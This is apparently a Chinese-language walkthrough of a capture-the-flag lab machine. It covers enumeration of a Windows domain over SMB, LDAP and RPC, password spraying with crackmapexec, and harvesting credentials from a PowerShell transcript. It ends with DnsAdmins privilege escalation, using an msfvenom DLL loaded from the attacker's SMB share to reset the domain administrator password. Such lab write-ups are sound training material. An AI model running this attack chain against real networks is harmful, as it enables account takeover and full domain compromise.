靶机ip:10.10.10.169

知识点

  • 密码喷洒
  • 利用DnsAdmins提权

信息收集

nmap扫描

nmap扫一下

nmap -sS -sV -sC 10.10.10.169

image-20240712152500615

分析发现有DNS服务、kerberos服务、ldap服务、smb服务,域名为megabank.local

SMB

简单测试一下

smbclient -L //10.10.10.169

image-20240712152802524

匿名登陆成功但是没什么有用的信息

ldap

ldapsearch -H ldap://10.10.10.169:389 -x -s base -b "" namingcontexts

image-20240712153255680

也没啥有用信息

RPC

利用RPC远程过程调用枚举用户

rpcclient -U "" -N 10.10.10.169

枚举用户

enumdomusers

image-20240712153719000

显示用户详细列表信息

querydispinfo

image-20240712155152658

找到用户名密码:marko : Welcome123!

尝试rpcclientsmbclient登录

smbclient -U marko -L //10.10.10.169

rpcclient -U marko -N 10.10.10.169

image-20240712161105981

都失败了。

密码喷洒

既然marko用户登录不上,不妨拿这个密码去试试其他的用户,利用crackmapexec工具尝试密码喷洒攻击

先将之前通过rpcclientenumdomusers命令拿到的用户名列表保存为users

写个python脚本将其提取到users.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 打开uusers.txt文件进行读取
with open('users', 'r', encoding='utf-8') as infile:
lines = infile.readlines()

# 打开user.txt文件进行写入
with open('users.txt', 'w', encoding='utf-8') as outfile:
for line in lines:
# 使用正则表达式匹配user后面的用户名
import re
match = re.search(r'user:\[(.*?)\]', line)
if match:
username = match.group(1)
# 将用户名写入user.txt文件中
outfile.write(username + '\n')

image-20240712162108457

使用crackmapexec进行密码喷洒

crackmapexec smb 10.10.10.169 -u ./users.txt -p Welcome123!

image-20240712162353688

发现melanie用户可以登录,使用evil-winrm登录

evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!

image-20240712162933792

image-20240712163205922

Desktop上找到user.txt

AD域提权

BloodHound信息搜集

SharpHound.exe传上去运行

image-20240712175808679

将结果zip下载下来,拿bloodhoun分析

image-20240712181218798

点击Find Shortest Paths to Domain Admins后,发现当前用户没有什么明显利用的点,但是发现在这个域中还有一个ryan用户,但是不知道密码,只能从当前melanie用户入手了

查看Powershell日志文件获得用户名密码

查找可疑文件时,在C:/目录下运行ls -force命令后发现如下结果:
image-20240712181551586

其中PSTranscripts有点可疑,该英文直译是PS传输脚本,仔细查看一下这个目录

image-20240712182037742

C:\PSTranscripts\20191203目录下找到PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt文件,该文件可能是Powershell的日志之类的文件,查看一下

image-20240712182642485

这里貌似是ryan用户的用户名和密码,尝试登陆下

evil-winrm -i 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!'

image-20240712182822459

登录成功

利用DnsAdmins提权

在桌面发现note.txt文件,内容如下:

image-20240712183131938

翻译过来就是

发送给团队的电子邮件:

- 由于更改冻结,任何系统更改(除了对管理员帐户的更改)都将在1分钟内自动恢复

在查看bloodhound的过程中发现下面情况:

image-20240712191130338

image-20240712191143991

发现ryan用户属于contractors组,而contractors组又属于dnsadmins组,所以ryan用户属于dnsadmins

就可以利用 DnsAdmins权限进行AD域提权

DNSAdmins组的成员可以访问网络 DNS 信息。默认权限如下: 允许:读取、写入、创建所有子对象、删除子对象、特殊权限。

dnsadmins 组的成员可用于通过 dll 注入将权限提升到管理员。

参考链接

首先使用msf生成dll文件,将dll文件传到机器上

msfvenom -p windows/x64/exec cmd='net user administrator abc123! /domain' -f dll > evil.dll

image-20240714143407217

因为正常upload传文件会被杀掉,这里考虑使用smb传文件

python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./

image-20240714134943265

在靶机上的ps里头执行

cmd /c dnscmd 127.0.0.1 /config /serverlevelplugindll \\10.10.14.28\share\evil.dll

image-20240714135419626

接着执行如下命令重启dns服务

1
2
sc.exe stop dns
sc.exe start dns

image-20240714140453914

此时,之前利用python起的smbserver服务会收到回显

image-20240714140729094

最后利用psexec.py登录,输入密码

python3 /usr/share/doc/python3-impacket/examples/psexec.py megabank.local/administrator@10.10.10.169

image-20240714143551441

最后在AdministratorDesktop找到root.txt

image-20240714144237322